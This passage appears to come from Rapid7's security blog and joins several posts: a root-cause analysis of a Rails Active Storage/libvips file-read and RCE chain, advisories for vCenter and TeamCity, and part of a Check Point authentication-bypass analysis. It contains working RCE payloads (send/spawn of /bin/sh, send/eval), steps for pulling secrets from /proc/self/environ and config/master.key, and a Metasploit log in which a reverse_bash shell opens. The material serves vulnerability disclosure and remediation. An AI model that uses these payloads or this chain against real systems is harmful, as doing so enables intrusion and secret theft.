      ActiveStorage::Blob.scope_for_strict_loading
    end

    def set_representation
      @representation = @blob.representation(params[:variation_key]).processed # <-- [6]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end
end
    # Returns a Variation instance with the transformations that were encoded by +encode+.
    def decode(key)
      new ActiveStorage.verifier.verify(key, purpose: :variation) # <-- [7]
    end

At [5], Rails verifies the blob ID. At [6] and [7], it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a variation_key from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require secret_key_base.

The Vips pipeline leaves decoder selection to libvips

Active Storage then hands the tempfile path to image_processing. The loader(page: 0) call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:

def process(file, format:)
  processor.
	source(file).
	loader(page: 0). # <-- [8]
	convert(format).
	apply(operations). # <-- [9]
	call
end
def processor
  ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
def operations
  transformations.each_with_object([]) do |(name, argument), list|
	if ActiveStorage.variant_processor == :mini_magick
	  validate_transformation(name, argument) # <-- [10]
	end
	if name.to_s == "combine_options"
	  raise ArgumentError, <<~ERROR.squish
		Active Storage's ImageProcessing transformer doesn't support :combine_options,
		as it always generates a single command.
	  ERROR
	end
	if argument.present?
	  list << [ name, argument ] # <-- [11]
	end
  end
end

At [8], no decoder has been named yet. At [9], Rails forwards the signed transformation list into image_processing. For RCE, [10] and [11] matter because :mini_magick transformations pass through validate_transformation, while Vips transformations do not receive the same method-name validation.

In image_processing 1.14.0, the path later reaches Vips::Image.new_from_file:

def self.load_image(path_or_image, loader: nil, autorot: true, **options)
	if path_or_image.is_a?(::Vips::Image)
	  image = path_or_image
	else
	  path = path_or_image
	  if loader
		image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
	  else
		options = Utils.select_valid_loader_options(path, options)
		image = ::Vips::Image.new_from_file(path, **options) # <-- [12]
	  end
	end
	image = image.autorot if autorot && !options.key?(:autorotate)
	image
  end

Because loader: remains nil, [12] leaves decoder selection to libvips's file sniffers.

libvips and libmatio disagree about the MAT header

In libvips 8.16.1, matload is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:

static void
vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
	/* ... omitted: class initialization ... */

	operation_class->flags |= VIPS_OPERATION_UNTRUSTED; // <-- [13]

	foreign_class->suffs = vips__mat_suffs;

	load_class->is_a = vips__mat_ismat; // <-- [14]

The entire libvips MAT sniffer is a ten-byte prefix check:

int
vips__mat_ismat(const char *filename)
{
	unsigned char buf[15];

	if (vips__get_bytes(filename, buf, 10) == 10 &&
		vips_isprefix("MATLAB 5.0", (char *) buf)) // <-- [15]
		return 1;

	return 0;
}

At [13], libvips marks matload as untrusted. At [14], it registers vips__mat_ismat as the loader's sniffer. At [15], a file only needs to begin with MATLAB 5.0 for libvips to select matload. A genuine MAT 7.3 file begins with MATLAB 7.3 MAT-file, so it fails this check.

In libmatio 1.5.28, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:

enum mat_ft
{
    MAT_FT_MAT73 = 0x0200, /**< @brief Matlab version 7.3 file */ // <-- [16]
    MAT_FT_MAT5 = 0x0100,  /**< @brief Matlab version 5 file   */
    MAT_FT_MAT4 = 0x0010,  /**< @brief Matlab version 4 file   */
    MAT_FT_UNDEFINED = 0   /**< @brief Undefined version       */
};

At [16], libmatio defines 0x0200 as the MAT 7.3 format identifier.

Mat_Open(const char *matname, int mode)
{
    FILE *fp = NULL;
    mat_int16_t tmp, tmp2;
    mat_t *mat = NULL;
    size_t bytesread = 0;

    /* ... omitted: file opening and allocation ... */

    bytesread += fread(mat->header, 1, 116, fp);
    mat->header[116] = '\0';
    bytesread += fread(mat->subsys_offset, 1, 8, fp);
    bytesread += 2 * fread(&tmp2, 2, 1, fp);
    bytesread += fread(&tmp, 1, 2, fp);

    if ( 128 == bytesread ) {
        /* v5 and v7.3 files have at least 128 byte header */
        mat->byteswap = -1;
        if ( tmp == 0x4d49 )
            mat->byteswap = 0;
        else if ( tmp == 0x494d ) {
            mat->byteswap = 1;
            Mat_int16Swap(&tmp2);
        }

        mat->version = (int)tmp2; // <-- [17]
        if ( (mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap ) {
            mat->bof = ftello((FILE *)mat->fp);
            if ( mat->bof == -1L ) {
                free(mat->header);
                free(mat->subsys_offset);
                free(mat);
                fclose(fp);
                Mat_Critical("Couldn't determine file position");
                return NULL;
            }
            mat->next_index = 0;
        } else {
            mat->version = 0;
        }
    }

At [17], Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version. This is separate from the descriptive text that libvips already accepted at the beginning of the file.

static int
ReadData(mat_t *mat, matvar_t *matvar)
{
    if ( mat == NULL || matvar == NULL || mat->fp == NULL )
        return MATIO_E_BAD_ARGUMENT;
    else if ( mat->version == MAT_FT_MAT5 )
        return Mat_VarRead5(mat, matvar);
#if defined(MAT73) && MAT73
    else if ( mat->version == MAT_FT_MAT73 )
        return Mat_VarRead73(mat, matvar); // <-- [18]
#endif
    else if ( mat->version == MAT_FT_MAT4 )
        return Mat_VarRead4(mat, matvar);
    return MATIO_E_FAIL_TO_IDENTIFY;
}

At [18], ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.

HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:

static int
Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space, int isComplex, void *data)
{
    herr_t herr;

    if ( !isComplex ) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space, H5P_DEFAULT, data); // <-- [19]
        if ( herr < 0 ) {
            return MATIO_E_GENERIC_READ_ERROR;
        }

Before [19], this read path does not check H5Pget_external_count(). HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable's data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.

The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims MATLAB 5.0 at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.

Why variants are not required

A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach Vips::Image.new_from_file during image analysis after a blob is attached. Rails's forensic repository documents a MATLAB_empty variant in which libmatio reads external bytes while deriving an empty array's dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.

Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.

Why the patch works

The relevant v8.0.5 to v8.0.5.1 diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:

diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+  begin
+    # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+    # before the lines below. Leaving it to load later, when the transformer first asks for it,
+    # would disable the loaders again after an application's initializers had re-enabled them.
+    require "image_processing/vips"
+  rescue LoadError
+    # image_processing is only needed to generate variants, not to analyze blobs.
+  end
+
+  unless Vips.respond_to?(:block_untrusted) # <-- [20]
+    raise <<~ERROR.squish
+      libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+      cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+      later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+    ERROR
+  end
+
+  Vips.block_untrusted(true) # <-- [21]
+end

Active Storage's engine loads the Vips analyzer during initialization, so the new require "active_storage/vips" runs during boot rather than waiting for a later representation request. At [20], patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At [21], it blocks those operations globally. Because matload is marked VIPS_OPERATION_UNTRUSTED, libvips skips it before the crafted file can reach libmatio.

From file read to code execution

The file read can recover arbitrary files readable by the Rails worker. On Linux, /proc/self/environ is a useful first target because it may contain SECRET_KEY_BASE, RAILS_MASTER_KEY, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on /proc/self/environ will miss applications that keep secret_key_base in encrypted credentials or legacy secrets.yml files. Useful read targets in those cases include config/master.key, encrypted credential files, and legacy secrets.yml paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.

Once an attacker has recovered secret_key_base and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack's write-up uses instance_eval for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:

{"send":["spawn","/bin/sh","-c","id"]}
{"send":["eval","File.write('/tmp/kr2s', %x{id})"]}

In image_processing 1.14.0, Chainable#apply invokes the attacker-controlled transformation name on the builder:

def apply(operations)
  operations.inject(self) do |builder, (name, argument)|
	if argument == true || argument == nil
	  builder.public_send(name)
	elsif argument.is_a?(Array)
	  builder.public_send(name, *argument) # <-- [22]
	elsif argument.is_a?(Hash)
	  builder.public_send(name, **argument)
	else
	  builder.public_send(name, argument)
	end
  end
end

At [22], a transformation named send reaches the builder's public send method. The first array element becomes a second method dispatch, which can invoke private Kernel#spawn or Kernel#eval. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because spawn or eval returns a non-builder value after the payload has already executed.

This RCE path does not depend on a Marshal object gadget. We validated it against Rails 8.0.5 configured with config.active_support.message_serializer = :json. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a Hash, Array, and String structure rather than a deserialization gadget.

The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request rails/rails#56995 discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.

Exploitation

Our Metasploit module follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against /proc/version, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either send/spawn for command payloads or send/eval for native Ruby payloads.

The module uses the returned PNG representation instead of the narrower MATLAB_empty metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer MATLAB_empty, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses send/spawn and send/eval, which fit Metasploit command and Ruby payloads directly.

In the lab run below, the representation used by the module resized the image, so the module selected a 20x20 sharpened text-read layout and recovered 180 bytes per request. It then recovered SECRET_KEY_BASE from /proc/self/environ, signed a JSON variation, and opened a shell as the Rails process user:

msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened

msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)

The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.

Ethiack's published  1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0's vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.

Remediation

For remediation guidance, see Rapid7's Emergent Threat Response blog and the Rails security advisory. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.

KindaRails2Shell: CVE-2026-66066, Critical Arbitrary File Read and Possible Remote Code Execution in Ruby on Rails

30 July 2026 at 12:11

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, a critical vulnerability affecting Active Storage image processing when used in conjunction with the libvips image processing library. The vulnerability has a CVSSv4 score of 9.5 and is classified as Initialization of a Resource with an Insecure Default (CWE-1188). An unauthenticated attacker may be able to leverage CVE-2026-66066 and read files accessible to the Rails application process, potentially exposing secrets that could enable remote code execution (RCE) or access to connected systems.

An application is affected when it uses libvips for Active Storage image processing and accepts image uploads from untrusted users. Rails notes that generating image variants is not a separate requirement for exposure. Vips is the default Active Storage variant processor for applications configured with Rails 7.0 or later defaults. According to Ethiack, only the Vips processor is affected; applications using Magick are not affected through the reported vector.

As of July 30, 2026, Rapid7 is not aware of exploitation in the wild. Ethiack and GMO Flatt Security, who independently reported the vulnerability, have withheld proof-of-concept code and details of the full attack chain. Public code claiming to exploit CVE-2026-66066 exists, but it is unclear how closely it corresponds to the full attack chain reported privately to Rails. According to the Rails Security Announcement, additional details will be disclosed no later than August 28, 2026. Rapid7 recommends remediating affected applications on an urgent basis, outside of normal patch cycles.

Update #1: On July 31, 2026, Rails published technical details and forensic tools earlier than its planned August 28 disclosure date after several researchers reverse-engineered the attack and published proof-of-concept code.

Technical overview

libvips uses operations to load and save image formats, including operations backed by third-party libraries. Some are marked "unfuzzed" or "untrusted" because they are unsafe for untrusted content. According to Rails, Active Storage did not disable these operations before processing user-supplied files, which may allow a crafted upload to trigger an unsafe operation and disclose files readable by the application.

The attack details published by Rails describe a chain in which an attacker creates a blob through Active Storage's direct-upload endpoint with a false image content type and obtains a genuine signed variation_key from a page that renders an Active Storage representation. A crafted file identifies itself to libvips as a MATLAB level 5 file but to libmatio as a MAT 7.3 HDF5 container. HDF5's External File List then reads bytes from an attacker-selected path, which are rendered as image pixels and returned in the resulting variant. This known chain also requires the deployed libvips build to include the matload operation.

For this documented chain, the Active Storage direct-upload route must be reachable. When Active Storage routes are mounted, the direct-upload route is present by default even if the application's own interface does not use direct uploads. Rapid7 testing found that ordinary server-side attachment does not satisfy this chain because Rails re-identifies the crafted file as MATLAB data before variant processing.

The arbitrary file-read stage does not require knowledge of secret_key_base or a forged variation key. Rapid7 also verified an RCE escalation in which recovered Rails signing material is used to forge an ImageProcessing 1.x variation; this path does not require Marshal deserialization.

The Rails patch that remediates CVE-2026-66066, disables untrusted operations during Active Storage initialization. When ruby-vips is installed, patched versions prevent the application from starting if ruby-vips or libvips is too old to support that protection.

On August 3, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-66066, detailing the full RCE chain and accompanying metasploit module.

Mitigation guidance

Organizations running affected Ruby on Rails applications should upgrade to a fixed Active Storage release and ensure libvips is 8.13 or later. Updating Rails or Active Storage alone is not sufficient when an older libvips version is installed.

Rails has published forensic tools to assess whether an application was vulnerable and search Active Storage data for crafted files. Because scheduled cleanup of unattached blobs may remove evidence, Rapid7 recommends beginning forensic assessment promptly.

The Rails advisory identifies patched Active Storage releases 7.2.3.2, 8.0.5.1, and 8.1.3.1. The fixed Rails releases are:

Rails branch

Affected versions

Fixed version

Rails 7.x

7.0.0 through 7.2.3.1

7.2.3.2

Rails 8.0.x

8.0.0 through 8.0.5

8.0.5.1

Rails 8.1.x

8.1.0 through 8.1.3

8.1.3.1

The Rails advisory lists all Active Storage releases earlier than 7.2.3.2 as affected, which includes releases before Rails 7.0. Ethiack reports that Rails 6.0.0 through 6.1.7.10 may be affected when Active Storage is configured to use Vips, and Rapid7 has verified that the known attack works on the Rails 6.0 and 6.1 branches under that non-default configuration. Rails has not published fixed releases for branches earlier than 7.2, so affected applications on those branches should migrate to a supported fixed branch or apply the applicable workaround below.

When ruby-vips is installed, organizations should ensure it is 2.2.1 or later. Rails advises affected organizations to replace secret_key_base and other secrets accessible to the application process, including the Rails master key and the credentials it decrypts, storage service credentials, database credentials, and third-party service tokens or keys. Replacing secret_key_base expires active sessions and affects encrypted and signed cookies, signed global IDs, and Active Storage URLs.

As a temporary workaround on libvips 8.13 or later, organizations can set VIPS_BLOCK_UNTRUSTED or, with ruby-vips 2.2.1 or later, call Vips.block_untrusted(true) from an initializer. For libvips versions earlier than 8.13, Rails states that the only workaround is to remove the libvips dependency.

For the latest mitigation guidance, please refer to the Ruby on Rails security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-66066 with vulnerability checks expected to be available in the July 31 content release. 

Updates

  • July 30, 2026: Initial publication.

  • July 31, 2026: Updated with technical details and forensic resources published by Rails, and clarified the affected version range.

  • August 3, 2026: Added a Technical analysis section for the new Rapid7 Analysis.

Critical VMware vCenter Vulnerabilities Allow Authentication Bypass and Remote Code Execution (CVE-2026-59309, CVE-2026-59310)

By: Rapid7
30 July 2026 at 06:35

Overview

On July 29, 2026, Broadcom published security advisory VMSA-2026-0006 addressing multiple vulnerabilities in several VMWare products. Included in the advisory are two critical remotely exploitable vulnerabilities affecting VMware vCenter Server: CVE-2026-59309 and CVE-2026-59310. Both vulnerabilities carry CVSSv3.1 base scores of 9.8 and can be exploited by unauthenticated attackers with network access to a vulnerable vCenter Server.

CVE

CVSSv3.1

Description Summary

CVE-2026-59309

9.8 (Critical)

An authentication bypass vulnerability in the VMware Directory Service of vCenter that could allow a remote attacker to bypass authentication and gain unauthorized access to the vCenter management plane.

CVE-2026-59310

9.8 (Critical)

A directory traversal vulnerability in the vCenter Syslog server that could allow an attacker with network access to execute arbitrary code.

VMware vCenter Server provides centralized management for VMware vSphere environments, allowing administrators to manage ESXi hosts, virtual machines, resource allocation, availability, and other virtualization infrastructure from a central control plane. Compromise of vCenter can therefore provide an attacker with significant control over the virtualized environment and its associated workloads.

Both vulnerabilities are particularly significant because exploitation does not require prior authentication. However, an attacker must have network access to the affected vCenter services. Management interfaces such as vCenter are commonly restricted to internal or dedicated management networks, which can reduce exposure to internet-based attacks but does not mitigate the risk from an attacker who has already established access to an organization’s network.

At the time of publication, there is no known evidence of exploitation or scanning in the wild for either CVE-2026-59309 or CVE-2026-59310. There is also currently no known public proof-of-concept exploit code. However, vCenter Server has appeared on CISA’s KEV list ten times in the past for other vulnerabilities, so it is known that attackers target critical issues in this product. Customers running affected VMWare products are urged to patch on an urgent basis before exploitation in-the-wild occurs.

Mitigation guidance

Organizations running VMware vCenter Server should prioritize applying the updates identified by Broadcom in VMSA-2026-0006 on an urgent basis. Broadcom states that there are no workarounds for CVE-2026-59309 or CVE-2026-59310, making vendor-provided updates the primary remediation.

VMware Product

Component

Version

Running On

Fixed Version

VMware Cloud Foundation,

VMware vSphere Foundation

vCenter

9.1.x.x

Any

9.1.0.0300

VMware Cloud Foundation,

VMware vSphere Foundation

vCenter

9.0.x.x

Any

9.0.2.0100

VMware vCenter

N/A

8.0

Any

8.0 U3k

VMware Cloud Foundation 

vCenter

5.x

Any

Async patch to 8.0 U3k

VMware Telco Cloud Platform

vCenter

3.0, 4.x, 5.0.x, 5.1.x

Any

Refer to KB449886

VMware Telco Cloud Infrastructure 

vCenter

3.0

Any

Refer to KB449886


For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-59309 and CVE-2026-59310 on VMware vCenter Server, Cloud Foundation, and vSphere Foundation products with unauthenticated vulnerability checks expected to be available in the July 30 content release.

Updates

  • July 30, 2026: Initial publication.

  • July 30, 2026: Updated customers section to reflect availability of vulnerability checks.
  • August 4, 2026: Updated CVE links.

CVE-2026-63077: Critical unauthenticated remote code execution in JetBrains TeamCity

By: Rapid7
29 July 2026 at 12:16

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unauthenticated vulnerability affecting all versions of TeamCity On-Premises. The issue is classified as deserialization of untrusted data and has a CVSS score of 9.8. An unauthenticated remote attacker with HTTP(S) access to a TeamCity server can exploit the agent polling protocol to bypass authentication checks and execute arbitrary operating system commands with the privileges of the TeamCity server process.

In the blog post that JetBrains shared in tandem with CVE publication, they stated that attackers who exploit the vulnerability can read stored credentials and compromise CI/CD pipeline integrity. The impact of successful exploitation depends on the operating system privileges granted to the TeamCity server process. At the time of disclosure, JetBrains stated that they were not aware of active exploitation. On August 5, CISA added CVE-2026-63077 to its KEV catalog.

Technical analysis

On August 7, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-63077. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to achieve remote code execution on a vulnerable TeamCity server.

Mitigation guidance

Organizations running TeamCity On-Premises should urgently prioritize updating to a fixed version, either via the TeamCity UI update workflow or by downloading and installing one of the following fixed versions:

  • TeamCity 2025.11.7

  • TeamCity 2026.1.3

All versions of TeamCity On-Premises are affected. Organizations that cannot upgrade can apply JetBrains' security patch plugin to TeamCity 2017.1 and later. The plugin addresses only CVE-2026-63077; JetBrains recommends upgrading to a fixed version to receive other security updates. TeamCity Cloud customers do not need to take action.

In addition to patching, as a defense-in-depth measure, Rapid7 recommends restricting network access to TeamCity servers to only users and systems that must have it. For the latest mitigation guidance, please refer to the JetBrains security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-63077 with a vulnerability check available in the July 28 content release.

Updates

  • July 29, 2026: Initial publication.

  • August 5, 2026: Updated to reflect the addition of CVE-2026-63077 to CISA KEV.

  • August 7, 2026: Added link to the Rapid7 Analysis.

Rapid7 Analysis: Check Point SmartConsole Authentication Bypass (CVE-2026-16232)

28 July 2026 at 14:32

Overview

On July 22, 2026, Check Point published a security advisory for CVE-2026-16232, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). By leveraging CVE-2026-16232, an unauthenticated attacker can obtain an application login token, use this token to log in through SmartConsole with full administrator privileges, and modify the security policy or security configuration. Exploitation requires network access to the Management Server and for a Trusted Clients configuration that does not restrict GUI clients, which in our testing was a default setting. This vulnerability was reported as being exploited in the wild as a zero-day vulnerability at the time of disclosure.

Our analysis finds that the root cause of CVE-2026-16232 is a broken trust boundary in the application authentication path. A vulnerable server accepts an attacker-supplied Secure Internal Communication (SIC) distinguished name (DN) as the identity of a remote application instead of binding that identity to the authenticated remote peer certificate DN returned by getCertificateDnName(). An attacker can read the management server's own SIC DN during the unauthenticated bootstrap communication, replay that DN in a forged application certificate bind, obtain an application token, and then ask the legacy management service to mint a new SmartConsole single sign-on (SSO) ticket.

Rapid7 Labs has reproduced CVE-2026-16232 against affected R81.20 and R82.10 versions of the target software. Our proof-of-concept (PoC) exploit script can be used to successfully validate if a target is either vulnerable or patched. The vendor supplied patches have been confirmed to successfully remediate the vulnerability and prevent our PoC script from succeeding.

Analysis

SmartConsole is the desktop client administrators use to manage Check Point policy and configuration. A SmartConsole login crosses two generations of management plumbing over the network.

The first is the legacy FWM/CPMI service, listening on TCP 18190. It uses SIC, Check Point's certificate-based trust mechanism for communication between management components. Once the SIC bootstrap completes, FWM exchanges length-prefixed “FwSet” objects, a Check Point name/value encoding used by older management services.

The second is the newer CPM/DLE service. This exposes SOAP services over HTTPS on TCP 19009 under the URI path /cpmws/. SmartConsole uses these services for login, queries, and object operations. Authenticated requests carry DLESESSIONID and CLIENTSESSIONID header values to prove a client is authenticated.

The exploit for CVE-2026-16232 uses both the FWM/CPMI and CPM/DLE services. It first uses the native FWM/CPMI protocol to claim an application identity and obtain an application token via the root cause of the vulnerability. It then uses the accepted native application session to ask FWM for a SmartConsole SSO ticket, redeems the ticket over CPM's SOAP API, and receives a SmartConsole session.

The diagram below shows the flow for exploiting CVE-2026-16232.

figure1.png

Figure 1: Flow diagram of exploitation.

The application authentication boundary

The Java login service contains a bridge for FWM application based logins. The authenticateUser method splits the supplied username into an application name and a SIC DN, then passes both into cpApplicationAuthentication()

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private AuthenticationResponse authenticateUser(AuthenticationInfoBase authenticationInfoBase, String string, String string2, CPUUID cPUUID, boolean bl, LockAdminInfoContainer lockAdminInfoContainer, ExternalLoginInfo externalLoginInfo) throws AuthenticationFailureLoginException, LicenseExpiredLoginException {

// ...

} else if (authenticationInfoBase instanceof FwmAuthenticationInfo) {
    object2 = authenticationInfoBase.getUsername();
    int n = ((String)object2).toLowerCase().lastIndexOf("cn=");
    object = (FwmAuthenticationInfo)authenticationInfoBase;
    if (FwmLoginType.APPLICATION.equals((Object)object.getFwmLoginType())) {
        String suppliedSicDn = ((String)object2).substring(n); // <-- [1]
        String applicationName = ((String)object2).substring(0, n - 1); // <-- [2]
        TdLog.debug((CPLogger)c, (String)"Authenticating FwmAuthenticationInfo on behalf of application {}", (Object[])new Object[]{applicationName});
        CPApplicationAuthenticationInfo cPApplicationAuthenticationInfo = new CPApplicationAuthenticationInfo();
        cPApplicationAuthenticationInfo.setUsername(applicationName);
        this.cpApplicationAuthentication((AuthenticationInfoBase)cPApplicationAuthenticationInfo, suppliedSicDn, cPUUID);// <-- [3]
        authenticationInfoBase.setUsername(applicationName);

At [1] and [2], the login service treats attacker-controlled input as both the application name and the claimed SIC identity. At [3], the untrusted DN claim reaches the remote application authenticator as a separate argument.

The method that consumes that identity is authenticateRemoteApplication(). This method prefers the attacker-supplied DN whenever one is present.

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn) throws AuthenticationFailureLoginException {
  String effectiveSicDn = suppliedSicDn == null
          ? this.j.getCertificateDnName()
          : suppliedSicDn; // <-- [1]
  CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
  if (effectiveSicDn.equals("CN=siclocal")) {
    this.authenticateLocal(applicationName);
  } else {
    this.t.identifyDomainForRemoteLogin(effectiveSicDn); // <-- [2]
  }
}

The problem is at [1]. The vulnerable code collapses the untrusted claim and the authenticated peer identity into one variable. If suppliedSicDn is present, the code never uses getCertificateDnName() at all. The method then uses the attacker-controlled value at [2] to identify the login domain. In practice, a remote client can copy the management server's own SIC DN into :DN and authenticate as a remote application without presenting a client certificate for that identity.

What the patch changes

Our analysis compares the decompiled com.checkpoint.management.dleserver.coresvc.internal.LoginSvcImpl class from a vulnerable “R81.20 Jumbo Hotfix Take 146” against the patched “R81.20 Jumbo Hotfix Take 158”.

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn)
         throws AuthenticationFailureLoginException {
-    String effectiveSicDn = suppliedSicDn == null
-        ? this.j.getCertificateDnName()
-        : suppliedSicDn;                                      // <-- [1]
-    CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
+    String effectiveSicDn;
+    String certificateDn = this.j.getCertificateDnName();
+    String remoteIp = this.j.getRemoteIpAddress();
+    boolean localSic = IpUtils.isLoopback(remoteIp) && "CN=siclocal".equals(certificateDn);
+    if (localSic && suppliedSicDn != null) {
+        effectiveSicDn = suppliedSicDn;                       // <-- [2]
+    } else {
+        effectiveSicDn = certificateDn;                       // <-- [3]
+        boolean mismatch = suppliedSicDn != null
+            && StringUtils.isNotEmpty(certificateDn)
+            && !suppliedSicDn.equalsIgnoreCase(certificateDn);
+        if (mismatch) {
+            TdLog.error(c,
+                "Rejecting caller-supplied SIC name that does not match the client certificate DN for application {} from {}",
+                applicationName, remoteIp);
+            throw new AuthenticationFailureLoginException(
+                "Remote authentication failed for peer " + remoteIp + "."); // <-- [4]
+        }
+    }
+    if (Strings.isNullOrEmpty(effectiveSicDn)) {
+        TdLog.error(c, "Remote application {} login rejected: no authenticated SIC identity",
+            applicationName);
+        throw new AuthenticationFailureLoginException(
+            "Remote authentication failed for peer " + remoteIp + ".");     // <-- [5]
+    }
     if (effectiveSicDn.equals("CN=siclocal")) {
         this.authenticateLocal(applicationName);
     } else {
         this.t.identifyDomainForRemoteLogin(effectiveSicDn);
     }
 }

